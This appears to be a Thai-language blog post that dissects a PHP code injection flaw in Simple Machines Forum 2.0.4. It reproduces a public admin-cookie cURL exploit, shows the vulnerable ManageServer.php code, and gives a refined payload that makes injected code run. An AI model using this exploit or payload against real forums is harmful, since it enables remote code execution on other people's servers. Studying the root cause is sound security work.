สวัสดีครับ ห่างหายจากการเขียน Blog ไปนานเนื่องจากไปบวชทดแทนพระคุณพ่อแม่ครับเป็นเวลา 1 เดือน 3 วันที่วัดทองประดิษฐ์ :)
เข้าเรื่องเลยคือช่วงระหว่างผมบวชทาง SMF ( Simple Machine Forum ) ซึ่งเป็น CMS Opensource ที่ใช้สร้างเว็บบอร์ดชื่อดังตัวนึง เกิดมีบัค PHP Code Injection ตอนนี้ก็ไม่ใช่บัคใหม่อะไรแล้วนะ ซึ่งบัคแบบนี้ถ้าไม่พูดถึงเรื่อง Admin Priv ผมคิดว่ามันเป็นบัคระดับ Critical เลยนะ มันน่าสนใจตรงที่ SMF 2.0.4 นี้ไม่ได้รั่วที่ Theme หรือ Plugin แต่รั่วที่ Core เลยซึ่งก็คือระบบหลักของตัว SMF 2.0.4 เอง
<?php // proof of concept that latest SMF (2.0.4) can be exploited by php injection. // payload code must escape from \', so you should try with something like that: // p0c\';phpinfo();// as a 'dictionary' value. Same story for locale parameter. // For character_set - another story, as far as I remember, because here we have // a nice stored xss. ;) // 21/04/2013 // http://HauntIT.blogspot.com // to successfully exploit smf 2.0.4 we need correct admin's cookie: $cookie = 'SMFCookie956=allCookiesHere'; $ch = curl_init('http://smf_2.0.4/index.php?action=admin;area=languages;sa=editlang;lid=english'); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_COOKIE, $cookie); curl_setopt($ch, CURLOPT_POST, 1); // send as POST (to 'On') curl_setopt($ch, CURLOPT_POSTFIELDS, "character_set=en&locale=helloworld&dictionary=p0c\\';phpinfo();//&spelling=american&ce0361602df1=c6772abdb6d5e3f403bd65e3c3c2a2c0&save_main=Save"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $page = curl_exec($ch); echo 'PHP code:<br>'.$page; curl_close($ch); // to close 'logged-in' part ?>ผมได้เห็นโค้ด Exploit ที่ใช้ยิงแล้วจึงเกิดความสงสัยว่า ทำไมมันถึงได้บัค จึงอยากจะโหลดมาแงะดู แต่ช่วงนั้นบวชอยู่ไม่สะดวกเลย :/
ขั้นแรกก็ตามสเต๊ปครับเนื่องจากเป็น CMS Opensource ผมจึงเข้าไปโหลด SMF 2.0.4 มาจากเว็บหลักได้เลยตามนี้
http://mirror.ord.simplemachines.org/downloads/smf_2-0-4_install.zip
เมื่อโหลดมาลงเสร็จเรียบร้อยแล้ว Login เป็น Admin เข้าไป ( Exploit นี้ Need admin privileges ) เพื่อใช้งาน Exploit ด้านบนครับ แต่เมื่อดูจากโค้ดแล้วผมจึงเข้าไปที่ลิงค์ตามนี้
http://localhost/smf2.0.4/index.php?action=admin;area=languages;sa=editlang;lid=english
ก็จะเห็นหน้าตาแบบนี้
พอเห็นแบบนี้ผมจึงแงะ หาที่มาของบัคนี้ว่า ทำไมถึงบัคและเขียนยังไงถึงบัค จนมาพบกับโค้ดในไฟล์ Sources/ManageServer.php ( บรรทัดที่ 1344-1364 )
// Saving primary settings? $madeSave = false; if (!empty($_POST['save_main']) && !$current_file) { checkSession(); // Read in the current file. $current_data = implode('', file($settings['default_theme_dir'] . '/languages/index.' . $context['lang_id'] . '.php')); // These are the replacements. old => new $replace_array = array( '~\$txt\[\'lang_character_set\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_character_set\'] = \'' . addslashes($_POST['character_set']) . '\';', '~\$txt\[\'lang_locale\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_locale\'] = \'' . addslashes($_POST['locale']) . '\';', '~\$txt\[\'lang_dictionary\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_dictionary\'] = \'' . addslashes($_POST['dictionary']) . '\';', '~\$txt\[\'lang_spelling\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_spelling\'] = \'' . addslashes($_POST['spelling']) . '\';', '~\$txt\[\'lang_rtl\'\]\s=\s[A-Za-z0-9]+;~' => '$txt[\'lang_rtl\'] = ' . (!empty($_POST['rtl']) ? 'true' : 'false') . ';', ); $current_data = preg_replace(array_keys($replace_array), array_values($replace_array), $current_data); $fp = fopen($settings['default_theme_dir'] . '/languages/index.' . $context['lang_id'] . '.php', 'w+'); fwrite($fp, $current_data); fclose($fp); $madeSave = true; }สังเกตุว่าจะมีการรับค่า POST
addslashes($_POST['character_set']), addslashes($_POST['locale']), addslashes($_POST['dictionary']), addslashes($_POST['spelling'])
มาเขียนค่าในตัวแปร $current_data ลงไฟล์ php ลงไปด้วยฟังก์ชั่น fwrite ของ php จากบรรทัดที่ 1360
$current_data = preg_replace(array_keys($replace_array), array_values($replace_array), $current_data); $fp = fopen($settings['default_theme_dir'] . '/languages/index.' . $context['lang_id'] . '.php', 'w+'); fwrite($fp, $current_data); fclose($fp);
โค้ดใน index.english.php เดิมจะเป็นแบบนี้ครับ
$txt['lang_locale'] = 'en_US'; $txt['lang_dictionary'] = 'en'; $txt['lang_spelling'] = 'american'; // Ensure you remember to use uppercase for character set strings. $txt['lang_character_set'] = 'en';
ซึ่ง PHP Code ที่ Inject เข้าไปจะถูกเขียนไว้ที่
http://localhost/smf2.0.4/Themes/default/languages/index.english.php
ซึ่งผมดูจาก Exploit Code แล้วจาก p0c\\';phpinfo();// ที่ทำให้ PHP Code ทำงานนั้นทำไมต้องมี '; เพราะจะได้ไปต่อกับโค้ดด้านในไฟล์ index.english.php
$txt['lang_locale'] = 'helloworld'; $txt['lang_dictionary'] = 'p0c\\\';phpinfo();//'; $txt['lang_spelling'] = 'american'; // Ensure you remember to use uppercase for character set strings. $txt['lang_character_set'] = 'en';
แต่จากที่ดู phpinfo(); ยังไม่ทำงานเพราะยังเป็น string ที่ถูกเก็บในตัวแปรอยู่ และตรง ce0361602df1=c6772abdb6d5e3f403bd65e3c3c2a2c0 จะไม่ตายตัว
ผมจึงคิดว่า Exploit Code นี้ถ้าใครไม่รู้คงคิดว่าใช้งานไม่ได้ ผมจึงเติม * ไปด้านท้ายจะทำให้เป็น p0c\\\';phpinfo();//* ซึ่ง /* ก็คือ Comment แบบ Multi Line และ // เป็น Comment แบบ Single Line ในภาษา PHP นั้นเอง มันจะทำให้โค้ดด้านหลังไม่ถูกนำมาใช้งานหรือประมวลผลได้ครับผม
เมื่อกด save ไปแล้วก็เช่นเคยครับ โค้ด PHP จะถูกเขียนลงไปในไฟล์ index.english.php ที่บรรทัดที่ 11-16
$txt['lang_locale'] = 'helloworld'; $txt['lang_dictionary'] = 'p0c\\';phpinfo();//*'; $txt['lang_spelling'] = 'american'; // Ensure you remember to use uppercase for character set strings. $txt['lang_character_set'] = 'en';
จะเห็นได้ว่าโค้ดด้านหลัง /* จะเป็น Comment และ phpinfo(); ทำงานแล้ว หลายคนอาจจะสงสัยว่าทั้งที่ phpinfo(); ถูกเขียนไว้ใน index.english.php แล้วถูกเรียกมาทำงานได้อย่างไร
คำตอบอยู่ที่ไฟล์ที่บัคบรรทัดที่ 1368 ไฟล์ Sources/ManageServer.php ครับ
require($settings['default_theme_dir'] . '/languages/index.' . $context['lang_id'] . '.php');
ซึ่งฟังก์ชั่น require ของ php นั้นจะรันโค้ด php ให้อยู่แล้วทำให้ phpinfo(); ที่อยู่ในไฟล์ index.english.php ทำงานครับ และเมื่อเข้าไปในลิงค์ตรงๆของไฟล์ index.english.php ที่ถูกเขียนผลลัพธ์ก็คือ :)
http://localhost/smf2.0.4/Themes/default/languages/index.english.php
เรียบร้อยครับ แต่ทว่าบัคนี้ไม่ใช่จะเอาไปแฮกหรือยิง Exploit Code ใส่เว็บที่ใช้ SMF 2.0.4 กันได้ง่ายๆ เพราะต้องการสิทธิ์ Admin ต้องใช้ Cookie Admin เพื่อใช้งาน ซึ่งยากครับ
ผมจึงนำมาเขียนเป็นบทความเพื่อเผยแพร่เป็นความรู้ให้แก่ผู้ที่ไม่ทราบ และผู้ที่ต้องการจะทราบครับ ขอบคุณครับ , ICheer_No0M
ปล. หลายคนรู้ว่ามันบัค.. แต่จะมีสักกี่คนที่รู้ว่า มันเขียนยังไงถึงได้บัค..
Ref : http://packetstormsecurity.com/files/121391/public_phpInjection-smf204.txt
_/|\_ สาธุครับ เมพจริงๆจากแฟนคลับ
ตอบลบ